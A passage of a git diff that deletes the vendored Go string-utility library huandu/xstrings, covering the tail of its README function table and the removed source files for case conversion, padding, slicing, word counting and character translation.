[Len](https://godoc.org/github.com/huandu/xstrings#Len) | `mb_strlen` in PHP | [#23](https://github.com/huandu/xstrings/issues/23) | -| [Partition](https://godoc.org/github.com/huandu/xstrings#Partition) | `str.partition` in Python; `String#partition` in Ruby | [#10](https://github.com/huandu/xstrings/issues/10) | -| [Reverse](https://godoc.org/github.com/huandu/xstrings#Reverse) | `String#reverse` in Ruby; `strrev` in PHP; `reverse` in Perl | [#7](https://github.com/huandu/xstrings/issues/7) | -| [RightJustify](https://godoc.org/github.com/huandu/xstrings#RightJustify) | `str.rjust` in Python; `String#rjust` in Ruby | [#29](https://github.com/huandu/xstrings/issues/29) | -| [RuneWidth](https://godoc.org/github.com/huandu/xstrings#RuneWidth) | - | [#27](https://github.com/huandu/xstrings/issues/27) | -| [Scrub](https://godoc.org/github.com/huandu/xstrings#Scrub) | `String#scrub` in Ruby | [#20](https://github.com/huandu/xstrings/issues/20) | -| [Shuffle](https://godoc.org/github.com/huandu/xstrings#Shuffle) | `str_shuffle` in PHP | [#13](https://github.com/huandu/xstrings/issues/13) | -| [ShuffleSource](https://godoc.org/github.com/huandu/xstrings#ShuffleSource) | `str_shuffle` in PHP | [#13](https://github.com/huandu/xstrings/issues/13) | -| [Slice](https://godoc.org/github.com/huandu/xstrings#Slice) | `mb_substr` in PHP | [#9](https://github.com/huandu/xstrings/issues/9) | -| [Squeeze](https://godoc.org/github.com/huandu/xstrings#Squeeze) | `String#squeeze` in Ruby | [#11](https://github.com/huandu/xstrings/issues/11) | -| [Successor](https://godoc.org/github.com/huandu/xstrings#Successor) | `String#succ` or `String#next` in Ruby | [#22](https://github.com/huandu/xstrings/issues/22) | -| [SwapCase](https://godoc.org/github.com/huandu/xstrings#SwapCase) | `str.swapcase` in Python; `String#swapcase` in Ruby | [#12](https://github.com/huandu/xstrings/issues/12) | -| [ToCamelCase](https://godoc.org/github.com/huandu/xstrings#ToCamelCase) | `String#camelize` in RoR | [#1](https://github.com/huandu/xstrings/issues/1) | -| [ToSnakeCase](https://godoc.org/github.com/huandu/xstrings#ToSnakeCase) | `String#underscore` in RoR | [#1](https://github.com/huandu/xstrings/issues/1) | -| [Translate](https://godoc.org/github.com/huandu/xstrings#Translate) | `str.translate` in Python; `String#tr` in Ruby; `strtr` in PHP; `tr///` in Perl | [#21](https://github.com/huandu/xstrings/issues/21) | -| [Width](https://godoc.org/github.com/huandu/xstrings#Width) | `mb_strwidth` in PHP | [#26](https://github.com/huandu/xstrings/issues/26) | -| [WordCount](https://godoc.org/github.com/huandu/xstrings#WordCount) | `str_word_count` in PHP | [#14](https://github.com/huandu/xstrings/issues/14) | -| [WordSplit](https://godoc.org/github.com/huandu/xstrings#WordSplit) | - | [#14](https://github.com/huandu/xstrings/issues/14) | - -### Package `strings` functions ### - -*Keep this table sorted by Function in ascending order.* - -| Function | Friends | -| -------- | ------- | -| [Contains](http://golang.org/pkg/strings/#Contains) | `String#include?` in Ruby | -| [ContainsAny](http://golang.org/pkg/strings/#ContainsAny) | - | -| [ContainsRune](http://golang.org/pkg/strings/#ContainsRune) | - | -| [Count](http://golang.org/pkg/strings/#Count) | `str.count` in Python; `substr_count` in PHP | -| [EqualFold](http://golang.org/pkg/strings/#EqualFold) | `stricmp` in PHP; `String#casecmp` in Ruby | -| [Fields](http://golang.org/pkg/strings/#Fields) | `str.split` in Python; `split` in Perl; `String#split` in Ruby | -| [FieldsFunc](http://golang.org/pkg/strings/#FieldsFunc) | - | -| [HasPrefix](http://golang.org/pkg/strings/#HasPrefix) | `str.startswith` in Python; `String#start_with?` in Ruby | -| [HasSuffix](http://golang.org/pkg/strings/#HasSuffix) | `str.endswith` in Python; `String#end_with?` in Ruby | -| [Index](http://golang.org/pkg/strings/#Index) | `str.index` in Python; `String#index` in Ruby; `strpos` in PHP; `index` in Perl | -| [IndexAny](http://golang.org/pkg/strings/#IndexAny) | - | -| [IndexByte](http://golang.org/pkg/strings/#IndexByte) | - | -| [IndexFunc](http://golang.org/pkg/strings/#IndexFunc) | - | -| [IndexRune](http://golang.org/pkg/strings/#IndexRune) | - | -| [Join](http://golang.org/pkg/strings/#Join) | `str.join` in Python; `Array#join` in Ruby; `implode` in PHP; `join` in Perl | -| [LastIndex](http://golang.org/pkg/strings/#LastIndex) | `str.rindex` in Python; `String#rindex`; `strrpos` in PHP; `rindex` in Perl | -| [LastIndexAny](http://golang.org/pkg/strings/#LastIndexAny) | - | -| [LastIndexFunc](http://golang.org/pkg/strings/#LastIndexFunc) | - | -| [Map](http://golang.org/pkg/strings/#Map) | `String#each_codepoint` in Ruby | -| [Repeat](http://golang.org/pkg/strings/#Repeat) | operator `*` in Python and Ruby; `str_repeat` in PHP | -| [Replace](http://golang.org/pkg/strings/#Replace) | `str.replace` in Python; `String#sub` in Ruby; `str_replace` in PHP | -| [Split](http://golang.org/pkg/strings/#Split) | `str.split` in Python; `String#split` in Ruby; `explode` in PHP; `split` in Perl | -| [SplitAfter](http://golang.org/pkg/strings/#SplitAfter) | - | -| [SplitAfterN](http://golang.org/pkg/strings/#SplitAfterN) | - | -| [SplitN](http://golang.org/pkg/strings/#SplitN) | `str.split` in Python; `String#split` in Ruby; `explode` in PHP; `split` in Perl | -| [Title](http://golang.org/pkg/strings/#Title) | `str.title` in Python | -| [ToLower](http://golang.org/pkg/strings/#ToLower) | `str.lower` in Python; `String#downcase` in Ruby; `strtolower` in PHP; `lc` in Perl | -| [ToLowerSpecial](http://golang.org/pkg/strings/#ToLowerSpecial) | - | -| [ToTitle](http://golang.org/pkg/strings/#ToTitle) | - | -| [ToTitleSpecial](http://golang.org/pkg/strings/#ToTitleSpecial) | - | -| [ToUpper](http://golang.org/pkg/strings/#ToUpper) | `str.upper` in Python; `String#upcase` in Ruby; `strtoupper` in PHP; `uc` in Perl | -| [ToUpperSpecial](http://golang.org/pkg/strings/#ToUpperSpecial) | - | -| [Trim](http://golang.org/pkg/strings/#Trim) | `str.strip` in Python; `String#strip` in Ruby; `trim` in PHP | -| [TrimFunc](http://golang.org/pkg/strings/#TrimFunc) | - | -| [TrimLeft](http://golang.org/pkg/strings/#TrimLeft) | `str.lstrip` in Python; `String#lstrip` in Ruby; `ltrim` in PHP | -| [TrimLeftFunc](http://golang.org/pkg/strings/#TrimLeftFunc) | - | -| [TrimPrefix](http://golang.org/pkg/strings/#TrimPrefix) | - | -| [TrimRight](http://golang.org/pkg/strings/#TrimRight) | `str.rstrip` in Python; `String#rstrip` in Ruby; `rtrim` in PHP | -| [TrimRightFunc](http://golang.org/pkg/strings/#TrimRightFunc) | - | -| [TrimSpace](http://golang.org/pkg/strings/#TrimSpace) | `str.strip` in Python; `String#strip` in Ruby; `trim` in PHP | -| [TrimSuffix](http://golang.org/pkg/strings/#TrimSuffix) | `String#chomp` in Ruby; `chomp` in Perl | - -## License ## - -This library is licensed under MIT license. See LICENSE for details. diff --git a/vendor/github.com/huandu/xstrings/common.go b/vendor/github.com/huandu/xstrings/common.go deleted file mode 100644 index 2aff57aab4..0000000000 --- a/vendor/github.com/huandu/xstrings/common.go +++ /dev/null @@ -1,25 +0,0 @@ -// Copyright 2015 Huan Du. All rights reserved. -// Licensed under the MIT license that can be found in the LICENSE file. - -package xstrings - -import ( - "bytes" -) - -const bufferMaxInitGrowSize = 2048 - -// Lazy initialize a buffer. -func allocBuffer(orig, cur string) *bytes.Buffer { - output := &bytes.Buffer{} - maxSize := len(orig) * 4 - - // Avoid to reserve too much memory at once. - if maxSize > bufferMaxInitGrowSize { - maxSize = bufferMaxInitGrowSize - } - - output.Grow(maxSize) - output.WriteString(orig[:len(orig)-len(cur)]) - return output -} diff --git a/vendor/github.com/huandu/xstrings/convert.go b/vendor/github.com/huandu/xstrings/convert.go deleted file mode 100644 index 783e73b673..0000000000 --- a/vendor/github.com/huandu/xstrings/convert.go +++ /dev/null @@ -1,364 +0,0 @@ -// Copyright 2015 Huan Du. All rights reserved. -// Licensed under the MIT license that can be found in the LICENSE file. - -package xstrings - -import ( - "bytes" - "math/rand" - "unicode" - "unicode/utf8" -) - -// ToCamelCase can convert all lower case characters behind underscores -// to upper case character. -// Underscore character will be removed in result except following cases. -// * More than 1 underscore. -// "a__b" => "A_B" -// * At the beginning of string. -// "_a" => "_A" -// * At the end of string. -// "ab_" => "Ab_" -func ToCamelCase(str string) string { - if len(str) == 0 { - return "" - } - - buf := &bytes.Buffer{} - var r0, r1 rune - var size int - - // leading '_' will appear in output. - for len(str) > 0 { - r0, size = utf8.DecodeRuneInString(str) - str = str[size:] - - if r0 != '_' { - break - } - - buf.WriteRune(r0) - } - - if len(str) == 0 { - return buf.String() - } - - r0 = unicode.ToUpper(r0) - - for len(str) > 0 { - r1 = r0 - r0, size = utf8.DecodeRuneInString(str) - str = str[size:] - - if r1 == '_' && r0 == '_' { - buf.WriteRune(r1) - continue - } - - if r1 == '_' { - r0 = unicode.ToUpper(r0) - } else { - r0 = unicode.ToLower(r0) - } - - if r1 != '_' { - buf.WriteRune(r1) - } - } - - buf.WriteRune(r0) - return buf.String() -} - -// ToSnakeCase can convert all upper case characters in a string to -// underscore format. -// -// Some samples. -// "FirstName" => "first_name" -// "HTTPServer" => "http_server" -// "NoHTTPS" => "no_https" -// "GO_PATH" => "go_path" -// "GO PATH" => "go_path" // space is converted to underscore. -// "GO-PATH" => "go_path" // hyphen is converted to underscore. -func ToSnakeCase(str string) string { - if len(str) == 0 { - return "" - } - - buf := &bytes.Buffer{} - var prev, r0, r1 rune - var size int - - r0 = '_' - - for len(str) > 0 { - prev = r0 - r0, size = utf8.DecodeRuneInString(str) - str = str[size:] - - switch { - case r0 == utf8.RuneError: - buf.WriteByte(byte(str[0])) - - case unicode.IsUpper(r0): - if prev != '_' { - buf.WriteRune('_') - } - - buf.WriteRune(unicode.ToLower(r0)) - - if len(str) == 0 { - break - } - - r0, size = utf8.DecodeRuneInString(str) - str = str[size:] - - if !unicode.IsUpper(r0) { - buf.WriteRune(r0) - break - } - - // find next non-upper-case character and insert `_` properly. - // it's designed to convert `HTTPServer` to `http_server`. - // if there are more than 2 adjacent upper case characters in a word, - // treat them as an abbreviation plus a normal word. - for len(str) > 0 { - r1 = r0 - r0, size = utf8.DecodeRuneInString(str) - str = str[size:] - - if r0 == utf8.RuneError { - buf.WriteRune(unicode.ToLower(r1)) - buf.WriteByte(byte(str[0])) - break - } - - if !unicode.IsUpper(r0) { - if r0 == '_' || r0 == ' ' || r0 == '-' { - r0 = '_' - - buf.WriteRune(unicode.ToLower(r1)) - } else { - buf.WriteRune('_') - buf.WriteRune(unicode.ToLower(r1)) - buf.WriteRune(r0) - } - - break - } - - buf.WriteRune(unicode.ToLower(r1)) - } - - if len(str) == 0 || r0 == '_' { - buf.WriteRune(unicode.ToLower(r0)) - break - } - - default: - if r0 == ' ' || r0 == '-' { - r0 = '_' - } - - buf.WriteRune(r0) - } - } - - return buf.String() -} - -// SwapCase will swap characters case from upper to lower or lower to upper. -func SwapCase(str string) string { - var r rune - var size int - - buf := &bytes.Buffer{} - - for len(str) > 0 { - r, size = utf8.DecodeRuneInString(str) - - switch { - case unicode.IsUpper(r): - buf.WriteRune(unicode.ToLower(r)) - - case unicode.IsLower(r): - buf.WriteRune(unicode.ToUpper(r)) - - default: - buf.WriteRune(r) - } - - str = str[size:] - } - - return buf.String() -} - -// FirstRuneToUpper converts first rune to upper case if necessary. -func FirstRuneToUpper(str string) string { - if str == "" { - return str - } - - r, size := utf8.DecodeRuneInString(str) - - if !unicode.IsLower(r) { - return str - } - - buf := &bytes.Buffer{} - buf.WriteRune(unicode.ToUpper(r)) - buf.WriteString(str[size:]) - return buf.String() -} - -// FirstRuneToLower converts first rune to lower case if necessary. -func FirstRuneToLower(str string) string { - if str == "" { - return str - } - - r, size := utf8.DecodeRuneInString(str) - - if !unicode.IsUpper(r) { - return str - } - - buf := &bytes.Buffer{} - buf.WriteRune(unicode.ToLower(r)) - buf.WriteString(str[size:]) - return buf.String() -} - -// Shuffle randomizes runes in a string and returns the result. -// It uses default random source in `math/rand`. -func Shuffle(str string) string { - if str == "" { - return str - } - - runes := []rune(str) - index := 0 - - for i := len(runes) - 1; i > 0; i-- { - index = rand.Intn(i + 1) - - if i != index { - runes[i], runes[index] = runes[index], runes[i] - } - } - - return string(runes) -} - -// ShuffleSource randomizes runes in a string with given random source. -func ShuffleSource(str string, src rand.Source) string { - if str == "" { - return str - } - - runes := []rune(str) - index := 0 - r := rand.New(src) - - for i := len(runes) - 1; i > 0; i-- { - index = r.Intn(i + 1) - - if i != index { - runes[i], runes[index] = runes[index], runes[i] - } - } - - return string(runes) -} - -// Successor returns the successor to string. -// -// If there is one alphanumeric rune is found in string, increase the rune by 1. -// If increment generates a "carry", the rune to the left of it is incremented. -// This process repeats until there is no carry, adding an additional rune if necessary. -// -// If there is no alphanumeric rune, the rightmost rune will be increased by 1 -// regardless whether the result is a valid rune or not. -// -// Only following characters are alphanumeric. -// * a - z -// * A - Z -// * 0 - 9 -// -// Samples (borrowed from ruby's String#succ document): -// "abcd" => "abce" -// "THX1138" => "THX1139" -// "<>" => "<>" -// "1999zzz" => "2000aaa" -// "ZZZ9999" => "AAAA0000" -// "***" => "**+" -func Successor(str string) string { - if str == "" { - return str - } - - var r rune - var i int - carry := ' ' - runes := []rune(str) - l := len(runes) - lastAlphanumeric := l - - for i = l - 1; i >= 0; i-- { - r = runes[i] - - if ('a' <= r && r <= 'y') || - ('A' <= r && r <= 'Y') || - ('0' <= r && r <= '8') { - runes[i]++ - carry = ' ' - lastAlphanumeric = i - break - } - - switch r { - case 'z': - runes[i] = 'a' - carry = 'a' - lastAlphanumeric = i - - case 'Z': - runes[i] = 'A' - carry = 'A' - lastAlphanumeric = i - - case '9': - runes[i] = '0' - carry = '0' - lastAlphanumeric = i - } - } - - // Needs to add one character for carry. - if i < 0 && carry != ' ' { - buf := &bytes.Buffer{} - buf.Grow(l + 4) // Reserve enough space for write. - - if lastAlphanumeric != 0 { - buf.WriteString(str[:lastAlphanumeric]) - } - - buf.WriteRune(carry) - - for _, r = range runes[lastAlphanumeric:] { - buf.WriteRune(r) - } - - return buf.String() - } - - // No alphanumeric character. Simply increase last rune's value. - if lastAlphanumeric == l { - runes[l-1]++ - } - - return string(runes) -} diff --git a/vendor/github.com/huandu/xstrings/count.go b/vendor/github.com/huandu/xstrings/count.go deleted file mode 100644 index f96e38703a..0000000000 --- a/vendor/github.com/huandu/xstrings/count.go +++ /dev/null @@ -1,120 +0,0 @@ -// Copyright 2015 Huan Du. All rights reserved. -// Licensed under the MIT license that can be found in the LICENSE file. - -package xstrings - -import ( - "unicode" - "unicode/utf8" -) - -// Len returns str's utf8 rune length. -func Len(str string) int { - return utf8.RuneCountInString(str) -} - -// WordCount returns number of words in a string. -// -// Word is defined as a locale dependent string containing alphabetic characters, -// which may also contain but not start with `'` and `-` characters. -func WordCount(str string) int { - var r rune - var size, n int - - inWord := false - - for len(str) > 0 { - r, size = utf8.DecodeRuneInString(str) - - switch { - case isAlphabet(r): - if !inWord { - inWord = true - n++ - } - - case inWord && (r == '\'' || r == '-'): - // Still in word. - - default: - inWord = false - } - - str = str[size:] - } - - return n -} - -const minCJKCharacter = '\u3400' - -// Checks r is a letter but not CJK character. -func isAlphabet(r rune) bool { - if !unicode.IsLetter(r) { - return false - } - - switch { - // Quick check for non-CJK character. - case r < minCJKCharacter: - return true - - // Common CJK characters. - case r >= '\u4E00' && r <= '\u9FCC': - return false - - // Rare CJK characters. - case r >= '\u3400' && r <= '\u4D85': - return false - - // Rare and historic CJK characters. - case r >= '\U00020000' && r <= '\U0002B81D': - return false - } - - return true -} - -// Width returns string width in monotype font. -// Multi-byte characters are usually twice the width of single byte characters. -// -// Algorithm comes from `mb_strwidth` in PHP. -// http://php.net/manual/en/function.mb-strwidth.php -func Width(str string) int { - var r rune - var size, n int - - for len(str) > 0 { - r, size = utf8.DecodeRuneInString(str) - n += RuneWidth(r) - str = str[size:] - } - - return n -} - -// RuneWidth returns character width in monotype font. -// Multi-byte characters are usually twice the width of single byte characters. -// -// Algorithm comes from `mb_strwidth` in PHP. -// http://php.net/manual/en/function.mb-strwidth.php -func RuneWidth(r rune) int { - switch { - case r == utf8.RuneError || r < '\x20': - return 0 - - case '\x20' <= r && r < '\u2000': - return 1 - - case '\u2000' <= r && r < '\uFF61': - return 2 - - case '\uFF61' <= r && r < '\uFFA0': - return 1 - - case '\uFFA0' <= r: - return 2 - } - - return 0 -} diff --git a/vendor/github.com/huandu/xstrings/doc.go b/vendor/github.com/huandu/xstrings/doc.go deleted file mode 100644 index 1a6ef069f6..0000000000 --- a/vendor/github.com/huandu/xstrings/doc.go +++ /dev/null @@ -1,8 +0,0 @@ -// Copyright 2015 Huan Du. All rights reserved. -// Licensed under the MIT license that can be found in the LICENSE file. - -// Package xstrings is to provide string algorithms which are useful but not included in `strings` package. -// See project home page for details. https://github.com/huandu/xstrings -// -// Package xstrings assumes all strings are encoded in utf8. -package xstrings diff --git a/vendor/github.com/huandu/xstrings/format.go b/vendor/github.com/huandu/xstrings/format.go deleted file mode 100644 index 2d02df1c04..0000000000 --- a/vendor/github.com/huandu/xstrings/format.go +++ /dev/null @@ -1,170 +0,0 @@ -// Copyright 2015 Huan Du. All rights reserved. -// Licensed under the MIT license that can be found in the LICENSE file. - -package xstrings - -import ( - "bytes" - "unicode/utf8" -) - -// ExpandTabs can expand tabs ('\t') rune in str to one or more spaces dpending on -// current column and tabSize. -// The column number is reset to zero after each newline ('\n') occurring in the str. -// -// ExpandTabs uses RuneWidth to decide rune's width. -// For example, CJK characters will be treated as two characters. -// -// If tabSize <= 0, ExpandTabs panics with error. -// -// Samples: -// ExpandTabs("a\tbc\tdef\tghij\tk", 4) => "a bc def ghij k" -// ExpandTabs("abcdefg\thij\nk\tl", 4) => "abcdefg hij\nk l" -// ExpandTabs("z中\t文\tw", 4) => "z中 文 w" -func ExpandTabs(str string, tabSize int) string { - if tabSize <= 0 { - panic("tab size must be positive") - } - - var r rune - var i, size, column, expand int - var output *bytes.Buffer - - orig := str - - for len(str) > 0 { - r, size = utf8.DecodeRuneInString(str) - - if r == '\t' { - expand = tabSize - column%tabSize - - if output == nil { - output = allocBuffer(orig, str) - } - - for i = 0; i < expand; i++ { - output.WriteByte(byte(' ')) - } - - column += expand - } else { - if r == '\n' { - column = 0 - } else { - column += RuneWidth(r) - } - - if output != nil { - output.WriteRune(r) - } - } - - str = str[size:] - } - - if output == nil { - return orig - } - - return output.String() -} - -// LeftJustify returns a string with pad string at right side if str's rune length is smaller than length. -// If str's rune length is larger than length, str itself will be returned. -// -// If pad is an empty string, str will be returned. -// -// Samples: -// LeftJustify("hello", 4, " ") => "hello" -// LeftJustify("hello", 10, " ") => "hello " -// LeftJustify("hello", 10, "123") => "hello12312" -func LeftJustify(str string, length int, pad string) string { - l := Len(str) - - if l >= length || pad == "" { - return str - } - - remains := length - l - padLen := Len(pad) - - output := &bytes.Buffer{} - output.Grow(len(str) + (remains/padLen+1)*len(pad)) - output.WriteString(str) - writePadString(output, pad, padLen, remains) - return output.String() -} - -// RightJustify returns a string with pad string at left side if str's rune length is smaller than length. -// If str's rune length is larger than length, str itself will be returned. -// -// If pad is an empty string, str will be returned. -// -// Samples: -// RightJustify("hello", 4, " ") => "hello" -// RightJustify("hello", 10, " ") => " hello" -// RightJustify("hello", 10, "123") => "12312hello" -func RightJustify(str string, length int, pad string) string { - l := Len(str) - - if l >= length || pad == "" { - return str - } - - remains := length - l - padLen := Len(pad) - - output := &bytes.Buffer{} - output.Grow(len(str) + (remains/padLen+1)*len(pad)) - writePadString(output, pad, padLen, remains) - output.WriteString(str) - return output.String() -} - -// Center returns a string with pad string at both side if str's rune length is smaller than length. -// If str's rune length is larger than length, str itself will be returned. -// -// If pad is an empty string, str will be returned. -// -// Samples: -// Center("hello", 4, " ") => "hello" -// Center("hello", 10, " ") => " hello " -// Center("hello", 10, "123") => "12hello123" -func Center(str string, length int, pad string) string { - l := Len(str) - - if l >= length || pad == "" { - return str - } - - remains := length - l - padLen := Len(pad) - - output := &bytes.Buffer{} - output.Grow(len(str) + (remains/padLen+1)*len(pad)) - writePadString(output, pad, padLen, remains/2) - output.WriteString(str) - writePadString(output, pad, padLen, (remains+1)/2) - return output.String() -} - -func writePadString(output *bytes.Buffer, pad string, padLen, remains int) { - var r rune - var size int - - repeats := remains / padLen - - for i := 0; i < repeats; i++ { - output.WriteString(pad) - } - - remains = remains % padLen - - if remains != 0 { - for i := 0; i < remains; i++ { - r, size = utf8.DecodeRuneInString(pad) - output.WriteRune(r) - pad = pad[size:] - } - } -} diff --git a/vendor/github.com/huandu/xstrings/manipulate.go b/vendor/github.com/huandu/xstrings/manipulate.go deleted file mode 100644 index 0eefb43ed7..0000000000 --- a/vendor/github.com/huandu/xstrings/manipulate.go +++ /dev/null @@ -1,217 +0,0 @@ -// Copyright 2015 Huan Du. All rights reserved. -// Licensed under the MIT license that can be found in the LICENSE file. - -package xstrings - -import ( - "bytes" - "strings" - "unicode/utf8" -) - -// Reverse a utf8 encoded string. -func Reverse(str string) string { - var size int - - tail := len(str) - buf := make([]byte, tail) - s := buf - - for len(str) > 0 { - _, size = utf8.DecodeRuneInString(str) - tail -= size - s = append(s[:tail], []byte(str[:size])...) - str = str[size:] - } - - return string(buf) -} - -// Slice a string by rune. -// -// Start must satisfy 0 <= start <= rune length. -// -// End can be positive, zero or negative. -// If end >= 0, start and end must satisfy start <= end <= rune length. -// If end < 0, it means slice to the end of string. -// -// Otherwise, Slice will panic as out of range. -func Slice(str string, start, end int) string { - var size, startPos, endPos int - - origin := str - - if start < 0 || end > len(str) || (end >= 0 && start > end) { - panic("out of range") - } - - if end >= 0 { - end -= start - } - - for start > 0 && len(str) > 0 { - _, size = utf8.DecodeRuneInString(str) - start-- - startPos += size - str = str[size:] - } - - if end < 0 { - return origin[startPos:] - } - - endPos = startPos - - for end > 0 && len(str) > 0 { - _, size = utf8.DecodeRuneInString(str) - end-- - endPos += size - str = str[size:] - } - - if len(str) == 0 && (start > 0 || end > 0) { - panic("out of range") - } - - return origin[startPos:endPos] -} - -// Partition splits a string by sep into three parts. -// The return value is a slice of strings with head, match and tail. -// -// If str contains sep, for example "hello" and "l", Partition returns -// "he", "l", "lo" -// -// If str doesn't contain sep, for example "hello" and "x", Partition returns -// "hello", "", "" -func Partition(str, sep string) (head, match, tail string) { - index := strings.Index(str, sep) - - if index == -1 { - head = str - return - } - - head = str[:index] - match = str[index : index+len(sep)] - tail = str[index+len(sep):] - return -} - -// LastPartition splits a string by last instance of sep into three parts. -// The return value is a slice of strings with head, match and tail. -// -// If str contains sep, for example "hello" and "l", LastPartition returns -// "hel", "l", "o" -// -// If str doesn't contain sep, for example "hello" and "x", LastPartition returns -// "", "", "hello" -func LastPartition(str, sep string) (head, match, tail string) { - index := strings.LastIndex(str, sep) - - if index == -1 { - tail = str - return - } - - head = str[:index] - match = str[index : index+len(sep)] - tail = str[index+len(sep):] - return -} - -// Insert src into dst at given rune index. -// Index is counted by runes instead of bytes. -// -// If index is out of range of dst, panic with out of range. -func Insert(dst, src string, index int) string { - return Slice(dst, 0, index) + src + Slice(dst, index, -1) -} - -// Scrub scrubs invalid utf8 bytes with repl string. -// Adjacent invalid bytes are replaced only once. -func Scrub(str, repl string) string { - var buf *bytes.Buffer - var r rune - var size, pos int - var hasError bool - - origin := str - - for len(str) > 0 { - r, size = utf8.DecodeRuneInString(str) - - if r == utf8.RuneError { - if !hasError { - if buf == nil { - buf = &bytes.Buffer{} - } - - buf.WriteString(origin[:pos]) - hasError = true - } - } else if hasError { - hasError = false - buf.WriteString(repl) - - origin = origin[pos:] - pos = 0 - } - - pos += size - str = str[size:] - } - - if buf != nil { - buf.WriteString(origin) - return buf.String() - } - - // No invalid byte. - return origin -} - -// WordSplit splits a string into words. Returns a slice of words. -// If there is no word in a string, return nil. -// -// Word is defined as a locale dependent string containing alphabetic characters, -// which may also contain but not start with `'` and `-` characters. -func WordSplit(str string) []string { - var word string - var words []string - var r rune - var size, pos int - - inWord := false - - for len(str) > 0 { - r, size = utf8.DecodeRuneInString(str) - - switch { - case isAlphabet(r): - if !inWord { - inWord = true - word = str - pos = 0 - } - - case inWord && (r == '\'' || r == '-'): - // Still in word. - - default: - if inWord { - inWord = false - words = append(words, word[:pos]) - } - } - - pos += size - str = str[size:] - } - - if inWord { - words = append(words, word[:pos]) - } - - return words -} diff --git a/vendor/github.com/huandu/xstrings/translate.go b/vendor/github.com/huandu/xstrings/translate.go deleted file mode 100644 index d86a4cbbd3..0000000000 --- a/vendor/github.com/huandu/xstrings/translate.go +++ /dev/null @@ -1,547 +0,0 @@ -// Copyright 2015 Huan Du. All rights reserved. -// Licensed under the MIT license that can be found in the LICENSE file. - -package xstrings - -import ( - "bytes" - "unicode" - "unicode/utf8" -) - -type runeRangeMap struct { - FromLo rune // Lower bound of range map. - FromHi rune // An inclusive higher bound of range map. - ToLo rune - ToHi rune -} - -type runeDict struct { - Dict [unicode.MaxASCII + 1]rune -} - -type runeMap map[rune]rune - -// Translator can translate string with pre-compiled from and to patterns. -// If a from/to pattern pair needs to be used more than once, it's recommended -// to create a Translator and reuse it. -type Translator struct { - quickDict *runeDict // A quick dictionary to look up rune by index. Only availabe for latin runes. - runeMap runeMap // Rune map for translation. - ranges []*runeRangeMap // Ranges of runes. - mappedRune rune // If mappedRune >= 0, all matched runes are translated to the mappedRune. - reverted bool // If to pattern is empty, all matched characters will be deleted. - hasPattern bool -} - -// NewTranslator creates new Translator through a from/to pattern pair. -func NewTranslator(from, to string) *Translator { - tr := &Translator{} - - if from == "" { - return tr - } - - reverted := from[0] == '^' - deletion := len(to) == 0 - - if reverted { - from = from[1:] - } - - var fromStart, fromEnd, fromRangeStep rune - var toStart, toEnd, toRangeStep rune - var fromRangeSize, toRangeSize rune - var singleRunes []rune - - // Update the to rune range. - updateRange := func() { - // No more rune to read in the to rune pattern. - if toEnd == utf8.RuneError { - return - } - - if toRangeStep == 0 { - to, toStart, toEnd, toRangeStep = nextRuneRange(to, toEnd) - return - } - - // Current range is not empty. Consume 1 rune from start. - if toStart != toEnd { - toStart += toRangeStep - return - } - - // No more rune. Repeat the last rune. - if to == "" { - toEnd = utf8.RuneError - return - } - - // Both start and end are used. Read two more runes from the to pattern. - to, toStart, toEnd, toRangeStep = nextRuneRange(to, utf8.RuneError) - } - - if deletion { - toStart = utf8.RuneError - toEnd = utf8.RuneError - } else { - // If from pattern is reverted, only the last rune in the to pattern will be used. - if reverted { - var size int - - for len(to) > 0 { - toStart, size = utf8.DecodeRuneInString(to) - to = to[size:] - } - - toEnd = utf8.RuneError - } else { - to, toStart, toEnd, toRangeStep = nextRuneRange(to, utf8.RuneError) - } - } - - fromEnd = utf8.RuneError - - for len(from) > 0 { - from, fromStart, fromEnd, fromRangeStep = nextRuneRange(from, fromEnd) - - // fromStart is a single character. Just map it with a rune in the to pattern. - if fromRangeStep == 0 { - singleRunes = tr.addRune(fromStart, toStart, singleRunes) - updateRange() - continue - } - - for toEnd != utf8.RuneError && fromStart != fromEnd { - // If mapped rune is a single character instead of a range, simply shift first - // rune in the range. - if toRangeStep == 0 { - singleRunes = tr.addRune(fromStart, toStart, singleRunes) - updateRange() - fromStart += fromRangeStep - continue - } - - fromRangeSize = (fromEnd - fromStart) * fromRangeStep - toRangeSize = (toEnd - toStart) * toRangeStep - - // Not enough runes in the to pattern. Need to read more. - if fromRangeSize > toRangeSize { - fromStart, toStart = tr.addRuneRange(fromStart, fromStart+toRangeSize*fromRangeStep, toStart, toEnd, singleRunes) - fromStart += fromRangeStep - updateRange() - - // Edge case: If fromRangeSize == toRangeSize + 1, the last fromStart value needs be considered - // as a single rune. - if fromStart == fromEnd { - singleRunes = tr.addRune(fromStart, toStart, singleRunes) - updateRange() - } - - continue - } - - fromStart, toStart = tr.addRuneRange(fromStart, fromEnd, toStart, toStart+fromRangeSize*toRangeStep, singleRunes) - updateRange() - break - } - - if fromStart == fromEnd { - fromEnd = utf8.RuneError - continue - } - - fromStart, toStart = tr.addRuneRange(fromStart, fromEnd, toStart, toStart, singleRunes) - fromEnd = utf8.RuneError - } - - if fromEnd != utf8.RuneError { - singleRunes = tr.addRune(fromEnd, toStart, singleRunes) - } - - tr.reverted = reverted - tr.mappedRune = -1 - tr.hasPattern = true - - // Translate RuneError only if in deletion or reverted mode. - if deletion || reverted { - tr.mappedRune = toStart - } - - return tr -} - -func (tr *Translator) addRune(from, to rune, singleRunes []rune) []rune { - if from <= unicode.MaxASCII { - if tr.quickDict == nil { - tr.quickDict = &runeDict{} - } - - tr.quickDict.Dict[from] = to - } else { - if tr.runeMap == nil { - tr.runeMap = make(runeMap) - } - - tr.runeMap[from] = to - } - - singleRunes = append(singleRunes, from) - return singleRunes -} - -func (tr *Translator) addRuneRange(fromLo, fromHi, toLo, toHi rune, singleRunes []rune) (rune, rune) { - var r rune - var rrm *runeRangeMap - - if fromLo < fromHi { - rrm = &runeRangeMap{ - FromLo: fromLo, - FromHi: fromHi, - ToLo: toLo, - ToHi: toHi, - } - } else { - rrm = &runeRangeMap{ - FromLo: fromHi, - FromHi: fromLo, - ToLo: toHi, - ToHi: toLo, - } - } - - // If there is any single rune conflicts with this rune range, clear single rune record. - for _, r = range singleRunes { - if rrm.FromLo <= r && r <= rrm.FromHi { - if r <= unicode.MaxASCII { - tr.quickDict.Dict[r] = 0 - } else { - delete(tr.runeMap, r) - } - } - } - - tr.ranges = append(tr.ranges, rrm) - return fromHi, toHi -} - -func nextRuneRange(str string, last rune) (remaining string, start, end rune, rangeStep rune) { - var r rune - var size int - - remaining = str - escaping := false - isRange := false - - for len(remaining) > 0 { - r, size = utf8.DecodeRuneInString(remaining) - 